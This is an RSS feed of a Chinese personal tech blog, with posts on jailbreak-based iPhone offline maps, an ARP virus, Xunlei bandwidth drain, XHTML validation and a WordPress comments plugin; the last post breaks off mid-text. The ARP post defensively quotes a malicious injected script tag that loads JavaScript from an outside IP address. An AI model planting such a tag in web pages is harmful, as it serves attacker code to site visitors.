<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>徘徊在玻璃之城 &#187; 电脑技术</title>
	<atom:link href="http://blog.znsun.com/tag/computer-tech/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.znsun.com</link>
	<description>一个身在香港的业余摄影爱好者的博客</description>
	<lastBuildDate>Tue, 25 Oct 2011 09:17:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google离线地图以及中国区地图校正</title>
		<link>http://blog.znsun.com/2011/04/1143/google-maps-and-china-off-the-map-correction</link>
		<comments>http://blog.znsun.com/2011/04/1143/google-maps-and-china-off-the-map-correction#comments</comments>
		<pubDate>Wed, 06 Apr 2011 13:30:13 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iPhone_3G]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsun.com/?p=1143</guid>
		<description><![CDATA[目的

利用Google的离线地图，方便出差或者周游世界时定位用。
针对中国区地图的偏移问题也提供了修正的解决方案。

啰嗦两句：诸多原因纠结在一起，让我不得不重新寻找适合iPhone/iTouch用的离线地图软件。
 试了好多个，发现还是之前用的Offline Maps最好用，可定制性高且制作方便，唯一不好的地方就是要越狱相关的设备。这儿把相关的资料都整合一下，以便后来者使用。
离线地图制作步骤

越狱你的设备，不管是iPhone 3G，还是iPad，这步是必须的。我一般会去 
http://iphone.tgbus.com/ 上看看相关的新闻或者是在Twitter上Follow
 http://twitter.com/#!/iphone_dev
安装91手机助手后，然后去 http://code.google.com/p/iphoneofflinemap/downloads/list 上下载最新版本的 离线地图切换软件，安装好后发现软件的名字叫做Atlas。
下载并安装离线地图下载器 http://en.wikibooks.org/wiki/Global_Map_Download_Tool
下载并安装iPhone Map Converter，目前的地址。如果这个地址打不开，可以用Google搜索“iPhone Map Converter”
利用步骤3的软件制作离线地图，这个很傻瓜的，实在不懂请自行请教Google大神。
利用步骤4的转换器将地图转换成适合自己iPhone/iTouch/iPad的版本，这里注意版本千万不能搞错，不然会无法使用。
将5和6生成好的地图文件 MapTiles.sqlitedb 以及 com.apple.Maps放在一个目录下。如深圳，我就取名为SZ，然后将此目录Copy到 相关设备的 /var/mobile/Media/Maps 下面。
在Atlas可以看到相关的目录即可进行切换。


中国区地图校正

直接Google“中国地图 校正”即可看到不少相关的信息，我一般看这条。按照说明添加新的Cydia源，然后安装就大功告成了。
最后安装完成后还要去Settings里面设定一下，启动相关的校正功能即可。

好了，做完上面的步骤，基本上你要去Google Maps能覆盖的区域，就都能提前下载好相关的地图了。这对那些不愿意用联通或者是去别的国家漫游的朋友那是非常的有用。
末了，还是要鄙视下天朝政府的规划局。我不知道土鳖们是怎么想的，非要在中国地图上加什么偏移量，姑且认为土鳖们是从国防角度考虑。可拜托你们用脚想想，现在民间随处在卖的GPS接收器都附带地图自动校正功能，你难道以为别国的军方不会校正么，真是不知说什么好了。

	
	
	&#169; SUN for 徘徊在玻璃之城, 2011. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  One comment ]]></description>
			<content:encoded><![CDATA[<p><strong>目的</strong></p>
<ol>
<li>利用Google的离线地图，方便出差或者周游世界时定位用。</li>
<li>针对中国区地图的偏移问题也提供了修正的解决方案。</li>
</ol>
<p>啰嗦两句：诸多原因纠结在一起，让我不得不重新寻找适合iPhone/iTouch用的离线地图软件。<br />
 试了好多个，发现还是之前用的Offline Maps最好用，可定制性高且制作方便，唯一不好的地方就是要越狱相关的设备。这儿把相关的资料都整合一下，以便后来者使用。</p>
<p><strong>离线地图制作步骤</strong></p>
<ol>
<li>越狱你的设备，不管是iPhone 3G，还是iPad，这步是必须的。我一般会去 <br />
<a href="http://iphone.tgbus.com/">http://iphone.tgbus.com/</a> 上看看相关的新闻或者是在Twitter上Follow<br />
 <a href="http://twitter.com/#!/iphone_dev">http://twitter.com/#!/iphone_dev</a></li>
<li>安装91手机助手后，然后去 <a href="http://code.google.com/p/iphoneofflinemap/downloads/list">http://code.google.com/p/iphoneofflinemap/downloads/list</a> 上下载最新版本的 离线地图切换软件，安装好后发现软件的名字叫做Atlas。</li>
<li>下载并安装离线地图下载器 <a href="http://en.wikibooks.org/wiki/Global_Map_Download_Tool">http://en.wikibooks.org/wiki/Global_Map_Download_Tool</a></li>
<li>下载并安装iPhone Map Converter，<a href="http://imapsmanager.com/mapConverter/mapConverter_eng.htm" target="_blank">目前的地址</a>。如果这个地址打不开，可以用Google搜索“iPhone Map Converter”</li>
<li>利用步骤3的软件制作离线地图，这个很傻瓜的，实在不懂请自行请教Google大神。</li>
<li>利用步骤4的转换器将地图转换成适合自己iPhone/iTouch/iPad的版本，这里注意版本千万不能搞错，不然会无法使用。</li>
<li>将5和6生成好的地图文件 MapTiles.sqlitedb 以及 com.apple.Maps放在一个目录下。如深圳，我就取名为SZ，然后将此目录Copy到 相关设备的 /var/mobile/Media/Maps 下面。</li>
<li>在Atlas可以看到相关的目录即可进行切换。</li>
</ol>
<p><br class="spacer_" /></p>
<p><strong>中国区地图校正</strong></p>
<ol>
<li>直接Google“中国地图 校正”即可看到不少相关的信息，我一般看<a href="http://lab.weiphone.com/iPhone/app/life/2010-05-18/Google_maps_map_of_China_offset_correction_patch_216781.shtml" target="_blank">这条</a>。按照说明添加新的Cydia源，然后安装就大功告成了。</li>
<li>最后安装完成后还要去Settings里面设定一下，启动相关的校正功能即可。</li>
</ol>
<p>好了，做完上面的步骤，基本上你要去Google Maps能覆盖的区域，就都能提前下载好相关的地图了。这对那些不愿意用联通或者是去别的国家漫游的朋友那是非常的有用。</p>
<p>末了，还是要鄙视下天朝政府的规划局。我不知道土鳖们是怎么想的，非要在中国地图上加什么偏移量，姑且认为土鳖们是从国防角度考虑。可拜托你们用脚想想，现在民间随处在卖的GPS接收器都附带地图自动校正功能，你难道以为别国的军方不会校正么，真是不知说什么好了。</p>
<p><br class="spacer_" /></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2011. |
	  <a href="http://blog.znsun.com/2011/04/1143/google-maps-and-china-off-the-map-correction">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2011/04/1143/google-maps-and-china-off-the-map-correction#comments">One comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2011/04/1143/google-maps-and-china-off-the-map-correction/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ARP 病毒以及解决办法</title>
		<link>http://blog.znsun.com/2007/08/617/arp-virus-as-well-as-solutions</link>
		<comments>http://blog.znsun.com/2007/08/617/arp-virus-as-well-as-solutions#comments</comments>
		<pubDate>Wed, 22 Aug 2007 08:28:01 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/08/617</guid>
		<description><![CDATA[首先强调下，这个病毒并不是一个新病毒，只是因为最近俺们系的局域网里闹了一次，所以拿出来说说。
现象：

电脑上网特别慢，甚至无法上网。
打开网页后查看源代码会发现代码前被加了一小段如下的代码（地址可能不同）。
&#60;script src=http://66.186.33.44/n.js&#62;&#60;/script&#62;
打开一些需要运行javascript的网页只能看到乱码。
同时多台在C类网段的电脑出现上述之一的情况。
出现上述任何一条情况都有可能是ARP病毒。

分析：
这是一个典型的ARP病毒。原作者用自以为高明的办法给源代码加了密，其实稍有点计算机知识的人就能破解。具体病毒代码我就不深入分析了，目的就是利用微软的漏洞来偷些用户资料，比方说游戏的用户名和密码什么的。如果说散这个病毒是为了好玩，那么我可怜it，整个一情商低能儿；如果说是为了卖资料换钱，那是犯罪，这种东西连鄙视it都觉得是浪费自己感情。
说远了。其实ARP病毒，就是中毒的电脑会把自己伪装成你所在C类网段的gateway，这样就可以让局域网内其他电脑必须通过它才可以上网，从而截取数据包中的一些信息了。这样会导致其他没中毒电脑的上网速度下降甚至断网等症状。
解决办法：
可以在行命令方式键入命令：“ARP -a”，如果网内有人中毒的话，你就会发现最少有两台电脑的MAC地址是一样的，记录下来，汇报给网管。接下来的任务就是由网管找出被感染的电脑，然后杀之。
作为终端用户，咱们要做的就是开着系统的自动更新功能，微软的东西，不打补丁是很危险的。其次就是一定要安装杀毒软件，做到防患于未然。对于这个病毒来说，一般的杀毒软件都能搞定它。
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  2 comments ]]></description>
			<content:encoded><![CDATA[<p>首先强调下，这个病毒并不是一个新病毒，只是因为最近俺们系的局域网里闹了一次，所以拿出来说说。</p>
<p><strong>现象：</strong></p>
<ol>
<li>电脑上网特别慢，甚至无法上网。</li>
<li>打开网页后查看源代码会发现代码前被加了一小段如下的代码（地址可能不同）。<br />
&lt;script src=http://66.186.33.44/n.js&gt;&lt;/script&gt;</li>
<li>打开一些需要运行javascript的网页只能看到乱码。</li>
<li>同时多台在C类网段的电脑出现上述之一的情况。</li>
<li>出现上述任何一条情况都有可能是ARP病毒。</li>
</ol>
<p><strong>分析：</strong></p>
<p>这是一个典型的ARP病毒。原作者用自以为高明的办法给源代码加了密，其实稍有点计算机知识的人就能破解。具体病毒代码我就不深入分析了，目的就是利用微软的漏洞来偷些用户资料，比方说游戏的用户名和密码什么的。如果说散这个病毒是为了好玩，那么我可怜it，整个一情商低能儿；如果说是为了卖资料换钱，那是犯罪，这种东西连鄙视it都觉得是浪费自己感情。</p>
<p>说远了。其实ARP病毒，就是中毒的电脑会把自己伪装成你所在C类网段的gateway，这样就可以让局域网内其他电脑必须通过它才可以上网，从而截取数据包中的一些信息了。<strong>这样会导致其他没中毒电脑的上网速度下降甚至断网等症状。</strong></p>
<p><strong>解决办法：</strong></p>
<p>可以在行命令方式键入命令：“ARP -a”，如果网内有人中毒的话，你就会发现最少有两台电脑的MAC地址是一样的，记录下来，汇报给网管。接下来的任务就是由网管找出被感染的电脑，然后杀之。</p>
<p>作为终端用户，咱们要做的就是开着系统的自动更新功能，微软的东西，不打补丁是很危险的。其次就是一定要安装杀毒软件，做到防患于未然。对于这个病毒来说，一般的杀毒软件都能搞定它。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/08/617/arp-virus-as-well-as-solutions">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/08/617/arp-virus-as-well-as-solutions#comments">2 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/08/617/arp-virus-as-well-as-solutions/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>致个人网站站长：小心迅雷</title>
		<link>http://blog.znsun.com/2007/07/606/to-the-personal-webmaster-carefully-thunderbolt</link>
		<comments>http://blog.znsun.com/2007/07/606/to-the-personal-webmaster-carefully-thunderbolt#comments</comments>
		<pubDate>Tue, 31 Jul 2007 14:00:54 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/07/606</guid>
		<description><![CDATA[迅雷下载是现时非常实用的一款下载软件，速度奇快无比。不过各位个人网站站长在共享自己的资源时候，千万要小心，不要给迅雷盯上，否则后果可能非常严重。下面是我的case：
最近这段时间，我发现我的个人网站浏览速度很慢，而且流量特别异常：


 可以看到7月18日以后流量猛增，到29日更达到了每日21.7G的流量，但是同期个人网站访问量却没有质的飞跃。经过仔细分析access log文件后，我发现绝大多数流量来自206类型的访问，换而言之就是不经过页面直接下载文件。其中，一首mp3被下载的次数最多，日下载达到了5800次之多，也就是每分钟就有4个下载，而且这些下载全都没有经过如百度mp3等歌曲搜索引擎。
这样的结果，只有迅雷才能办到。再回想一下并查证了记录，发现当初自己用这首歌来测试过自己网站的下载速度，用的就是迅雷。
于是真相大白，迅雷记录了我网站上这首歌的地址，并且放到的自己的数据库中，所以造成了这样的海量下载结果。找到了问题的症结所在，处理起来也简单了，我把这mp3改了个名字，可以看到，30日，我的网站流量就迅速回复正常了。
所以在这儿，给各位个人站长提个醒，千万不要用迅雷下载自己网站上的文件，尤其是mp3，录像等大型文件 ，否则那后果可能相当的严重。对了，那首吸引了数以万计下载的歌叫做《可不可以不勇敢》
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  4 comments ]]></description>
			<content:encoded><![CDATA[<p>迅雷下载是现时非常实用的一款下载软件，速度奇快无比。不过各位个人网站站长在共享自己的资源时候，千万要小心，不要给迅雷盯上，否则后果可能非常严重。下面是我的case：</p>
<p dragover="true">最近这段时间，我发现我的个人网站浏览速度很慢，而且流量特别异常：<br />
<img src="http://blog.znsun.com/wp-content/uploads/2007/07/20070731.gif" alt="bandwidth" title="bandwidth" height="435" width="523" />
</p>
<p dragover="true"> 可以看到7月18日以后流量猛增，到29日更达到了每日21.7G的流量，但是同期个人网站访问量却没有质的飞跃。经过仔细分析access log文件后，我发现绝大多数流量来自206类型的访问，换而言之就是不经过页面直接下载文件。其中，一首mp3被下载的次数最多，日下载达到了5800次之多，也就是每分钟就有4个下载，而且这些下载全都没有经过如百度mp3等歌曲搜索引擎。</p>
<p dragover="true">这样的结果，只有迅雷才能办到。再回想一下并查证了记录，发现当初自己用这首歌来测试过自己网站的下载速度，用的就是迅雷。</p>
<p dragover="true">于是真相大白，迅雷记录了我网站上这首歌的地址，并且放到的自己的数据库中，所以造成了这样的海量下载结果。找到了问题的症结所在，处理起来也简单了，我把这mp3改了个名字，可以看到，30日，我的网站流量就迅速回复正常了。</p>
<p dragover="true">所以在这儿，给各位个人站长提个醒，千万不要用迅雷下载自己网站上的文件，尤其是mp3，录像等大型文件 ，否则那后果可能相当的严重。对了，那首吸引了数以万计下载的歌叫做《可不可以不勇敢》</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/07/606/to-the-personal-webmaster-carefully-thunderbolt">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/07/606/to-the-personal-webmaster-carefully-thunderbolt#comments">4 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/07/606/to-the-personal-webmaster-carefully-thunderbolt/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hacked files for Permalinks in pixelpost 1.6.0</title>
		<link>http://blog.znsun.com/2007/04/559/hacked-files-for-permalinks-in-pixelpost-160</link>
		<comments>http://blog.znsun.com/2007/04/559/hacked-files-for-permalinks-in-pixelpost-160#comments</comments>
		<pubDate>Sun, 15 Apr 2007 08:37:22 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[网站更新]]></category>
		<category><![CDATA[pixelpost]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/04/559</guid>
		<description><![CDATA[As Pixelpost 1.6.0 is released, some update/hacks are needed to make the permalinks work.
 The followings are the hacked files for the new version-pixelpost 1.6.0.
 I've hacked index.php and paged_archive.php. Please be noted that .htaccess update is a MUST.
http://znsun.com/Download/2007/..._pixelpost.rar
for the demo. please visit http://click.znsun.com
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  网站更新 &#124; [...]]]></description>
			<content:encoded><![CDATA[<p>As <a href="http://pixelpost.org/" target="_blank">Pixelpost 1.6.0</a> is released, some update/hacks are needed to make the permalinks work.<br />
 The followings are the hacked files for the new version-pixelpost 1.6.0.<br />
 I've hacked index.php and paged_archive.php. Please be noted that .htaccess update is a MUST.</p>
<p><a href="http://znsun.com/Download/2007/20070415_hacked_files_for_pixelpost.rar" target="_blank">http://znsun.com/Download/2007/..._pixelpost.rar</a></p>
<p>for the demo. please visit <a href="http://click.znsun.com/" target="_blank">http://click.znsun.com</a></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/04/559/hacked-files-for-permalinks-in-pixelpost-160">Permalink</a> |
	  <a href="http://blog.znsun.com/category/website" title="View all posts in 网站更新" rel="category tag">网站更新</a> | 
	  <a href="http://blog.znsun.com/2007/04/559/hacked-files-for-permalinks-in-pixelpost-160#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/04/559/hacked-files-for-permalinks-in-pixelpost-160/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>共享你的RSS资源</title>
		<link>http://blog.znsun.com/2007/04/558/sharing-your-rss-resources</link>
		<comments>http://blog.znsun.com/2007/04/558/sharing-your-rss-resources#comments</comments>
		<pubDate>Sun, 15 Apr 2007 08:07:38 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[yahoo]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/04/558</guid>
		<description><![CDATA[接下来的网络时代，必定是web2.0的天下。之前我用Google Reader对自己的网络资源进行了整合。
 今天发现Yahoo!几个月前推出了Pipes功能，同样可以让用户自己收集网络上的资源，然后整合之。
就目前来说，前者更适合自己阅读时候使用；而后者在“共享”这个理念上更符合web2.0这个概念，因为它可以的组合、生成新的RSS资源，而且方便其他用户在你的基础上更改。。
作为终端用户，当然是要取长补短啦。我将自己的网站整合到了pipes中，于是就得到了下面这个新的资源：
 徘徊在玻璃之城
里面收集了我的blog，我的photoblog, 我的网站等。当然，应用这个聚集器最好的方法就是利用它生成的RSS，将其导入到自己的Google Reader中使用啦。
你也可以自己定制自己的pipe，如果你不会，只要在我的pipe基础上修改一下就可以了。
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p>接下来的网络时代，必定是web2.0的天下。之前我用Google Reader对自己的网络资源进行了整合。<br />
 今天发现Yahoo!几个月前推出了Pipes功能，同样可以让用户自己收集网络上的资源，然后整合之。</p>
<p>就目前来说，前者更适合自己阅读时候使用；而后者在“共享”这个理念上更符合web2.0这个概念，因为它可以的组合、生成新的RSS资源，而且方便其他用户在你的基础上更改。。</p>
<p>作为终端用户，当然是要取长补短啦。我将自己的网站整合到了pipes中，于是就得到了下面这个新的资源：<br />
 <a href="http://pipes.yahoo.com/pipes/pipe.info?_id=CA88kk3q2xG9PkvvnkartA" target="_blank">徘徊在玻璃之城</a></p>
<p>里面收集了我的blog，我的photoblog, 我的网站等。当然，应用这个聚集器最好的方法就是利用<a href="http://pipes.yahoo.com/pipes/pipe.run?_id=CA88kk3q2xG9PkvvnkartA&amp;_render=rss" target="_blank">它生成的RSS</a>，将其导入到自己的Google Reader中使用啦。</p>
<p>你也可以自己定制自己的pipe，如果你不会，只要在我的pipe基础上修改一下就可以了。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/04/558/sharing-your-rss-resources">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/04/558/sharing-your-rss-resources#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/04/558/sharing-your-rss-resources/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>架构符合XHTML标准的博客</title>
		<link>http://blog.znsun.com/2007/03/530/xhtml-structure-consistent-with-the-standards-blog</link>
		<comments>http://blog.znsun.com/2007/03/530/xhtml-structure-consistent-with-the-standards-blog#comments</comments>
		<pubDate>Wed, 21 Mar 2007 15:46:28 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2007/03/21/530</guid>
		<description><![CDATA[费了点时间让自己的网页上都贴上了Valid XHTML的标签，于是顺便扯几句。
XHTML，其实就是一个标准，至于来历，看我后面的扯谈。架构一个符合XHTML标准的网站并不难，可世界上的网站，真能符合w3C颁布标准的还真不多。因为养成的习惯要改并不是那么容易的，而且浏览器也都支持那些旧的标准，这也是不少网站对浏览器兼容不好的问题所在。如果要验证自己的网站是否符合这一标准，只要去 validator.w3.org/ 输入自己的网址就可以了。
如果你的网站不符合XHTML，这不代表它有什么太多的劣势（google的网页没一个符合的），而是你的网页有潜在的兼容性问题，结构上的问题可能让你耗费更多的时间来调整网页代码，使其在不同浏览器中看起来一致。我之前就一直不知道&#60;li&#62;必须嵌置在&#60;ol&#62;或者&#60;ul&#62;中，结果不得不花费时间来调整css代码。
而要架设一个符合XHTML的博客。

最简单的开始就是先掌握XHTML相对于之前HTML的区别。http://www.w3schools.com/ 上给出了详细的说明，还可以做一下上面的Quiz。
其次就是找一个比较好的平台。wordpress，blogspot，都是不错的平台，用他们编置出来的网页，错误相当的少（一般不会超过100）。
尽可能的使用css来控制你网页上元素的性质（颜色，长宽，空白，一切的一切）。将这些元素从XHTML中剥离出来，也是他们的一个目标之一。
随后就是利用上面的http://validator.w3.org/去验证你的网站，它对错误都会给出详细的说明，调试起来很方便。
安装Firefox，使用它的插件的Web Developer进行各种调试纠错，会大大缩短你用的时间。

当你完成所有的纠错以后，就只剩下最后一件事情了。    ，在你的网页中插入如下的代码：
&#60;a href="http://validator.w3.org/check?uri=referer" target="_blank"&#62;Valid XHTML&#60;/a&#62;
【注】
说XHTML，就不可避免的从HTML说开去，自然，也就要提到Berners Lee这位互联网的鼻祖。
话说我刚上小学那会儿，还是个向往当天文学家的主，全因为有一年哈勃上了天；但当时的我却不知道（嗯，绝大多数人都不知道）―正是在那一年Berners Lee在欧洲的粒子实验室倒腾出了万维网。时至今日，你还能看到当年网站的屏幕截图。
也正是Berners Lee，领导建立了现如今互联网的标准语言，其中就包括了大名鼎鼎的HTML，全称就是HyperText Markup Language。因为技术的障碍，之前的HTML不得不相对的松散，也就产生了诸多兼容性的问题，人们用不同的浏览器得到的效果经常会不同；而且，随着发展，website在跨平台信息交流中的作用也日益显现。所以Berners Lee们自然而然的就想到了将其标准化。而XHTML，也就是HTML4.01版，就是标准化过程中的一个里程碑。
	
	
	&#169; SUN for 徘徊在玻璃之城, 2007. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p>费了点时间让自己的网页上都贴上了<a href="http://validator.w3.org/check?uri=referer" target="_blank">Valid XHTML</a>的标签，于是顺便扯几句。</p>
<p>XHTML，其实就是一个标准，至于来历，看我后面的<a href="#chetan">扯谈</a>。架构一个符合XHTML标准的网站并不难，可世界上的网站，真能符合w3C颁布标准的还真不多。因为养成的习惯要改并不是那么容易的，而且浏览器也都支持那些旧的标准，这也是不少网站对浏览器兼容不好的问题所在。如果要验证自己的网站是否符合这一标准，只要去 <a href="http://validator.w3.org/" title="http://validator.w3.org/" target="_blank">validator.w3.org/</a> 输入自己的网址就可以了。</p>
<p>如果你的网站不符合XHTML，这不代表它有什么太多的劣势（google的网页没一个符合的），而是你的网页有潜在的兼容性问题，结构上的问题可能让你耗费更多的时间来调整网页代码，使其在不同浏览器中看起来一致。我之前就一直不知道&lt;li&gt;必须嵌置在&lt;ol&gt;或者&lt;ul&gt;中，结果不得不花费时间来调整css代码。</p>
<p>而要架设一个符合XHTML的博客。</p>
<ul>
<li>最简单的开始就是先掌握XHTML相对于之前HTML的区别。http://www.w3schools.com/ 上给出了详细的说明，还可以做一下上面的Quiz。</li>
<li>其次就是找一个比较好的平台。wordpress，blogspot，都是不错的平台，用他们编置出来的网页，错误相当的少（一般不会超过100）。</li>
<li>尽可能的使用css来控制你网页上元素的性质（颜色，长宽，空白，一切的一切）。将这些元素从XHTML中剥离出来，也是他们的一个目标之一。</li>
<li>随后就是利用上面的http://validator.w3.org/去验证你的网站，它对错误都会给出详细的说明，调试起来很方便。</li>
<li>安装Firefox，使用它的插件的<a href="https://addons.mozilla.org/firefox/60/" target="_blank">Web Developer</a>进行各种调试纠错，会大大缩短你用的时间。</li>
</ul>
<p>当你完成所有的纠错以后，就只剩下最后一件事情了。 <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   ，在你的网页中插入如下的代码：</p>
<p class="code">&lt;a href="http://validator.w3.org/check?uri=referer" target="_blank"&gt;Valid XHTML&lt;/a&gt;</p>
<p>【注】<a title="chetan" name="chetan" id="chetan"></a><br />
说XHTML，就不可避免的从HTML说开去，自然，也就要提到<a href="http://www.w3.org/People/Berners-Lee/" target="_blank">Berners Lee</a>这位互联网的鼻祖。<br />
话说我刚上小学那会儿，还是个向往当天文学家的主，全因为有一年哈勃上了天；但当时的我却不知道（嗯，绝大多数人都不知道）―正是在那一年Berners Lee在欧洲的<a href="http://info.cern.ch/" target="_blank">粒子实验室</a>倒腾出了万维网。时至今日，你还能看到当年网站的<a href="http://www.w3.org/History/1994/WWW/Journals/CACM/screensnap2_24c.gif" target="_blank">屏幕截图</a>。<br />
也正是Berners Lee，领导建立了现如今互联网的标准语言，其中就包括了大名鼎鼎的HTML，全称就是HyperText Markup Language。因为技术的障碍，之前的HTML不得不相对的松散，也就产生了诸多兼容性的问题，人们用不同的浏览器得到的效果经常会不同；而且，随着发展，website在跨平台信息交流中的作用也日益显现。所以Berners Lee们自然而然的就想到了将其标准化。而XHTML，也就是HTML4.01版，就是标准化过程中的一个里程碑。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2007. |
	  <a href="http://blog.znsun.com/2007/03/530/xhtml-structure-consistent-with-the-standards-blog">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2007/03/530/xhtml-structure-consistent-with-the-standards-blog#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2007/03/530/xhtml-structure-consistent-with-the-standards-blog/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ajax Comments</title>
		<link>http://blog.znsun.com/plugins-list/ajax-comments-reply</link>
		<comments>http://blog.znsun.com/plugins-list/ajax-comments-reply#comments</comments>
		<pubDate>Sun, 18 Mar 2007 23:40:55 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[我的页面]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/ajax-comments-reply/</guid>
		<description><![CDATA[本文永久地址：
http://blog.znsun.com/plugins-list/ajax-comments-reply/
MSN留言风格的Ajax Commens-Reply插件
(MSN Type Ajax Comments-Reply Plugin) 

点击下载，版本：1.5 ，最后更新于2007/04/23

原创于懶懶喵日記，后Zhang-Zi根据此版本制作了非常优秀的Ajax Comments-Reply插件，现在这个版本实质是将Zhang-Zi的两个版本（一个是以前的实现msn风格的留言版本，另一个是他现在用的版本）合二为一。因此，这里特别感谢两位作者之前所作的大量努力。此版本主要实现的功能如下：

可以配合Smiley Javascript Buttons，插入表情符号
使用回复无需刷新
可以直接在各种页面上（主页，多文章页面，单篇文章）回复留言（默认为5层嵌套），使得讨论更有针对性

修订版1.5主要改了一下几个方面：

修正了代码中的若干错误
加入了set_innerHTML函数，使得innerHTML中的js代码也可以被运行。现在在主页或者单篇日志上均可直接使用Smiley JS Buttons的表情代码（要求系统已经安装了Smiley JS Buttons插件）。

修订版1.1β主要改了一下几个方面：

修改了原插件必须放置在wordpress根目录下的缺点，同时保留了prototype.lite等函数（因为我用的litebox中也用到了prototype.lite【注】litebox是lightbox的精简版本，用以实现图片显示的特殊效果）。
整合了Zhang-Zi的两个不同版本的插件，合并了部分代码，使之达到现在的显示效果。
修改了留言栏的式样，使得符合我的blog风格。
压缩了javascript代码，其中css文件没有压缩，如果有需要，可以参考我的文章：加速Wordpress
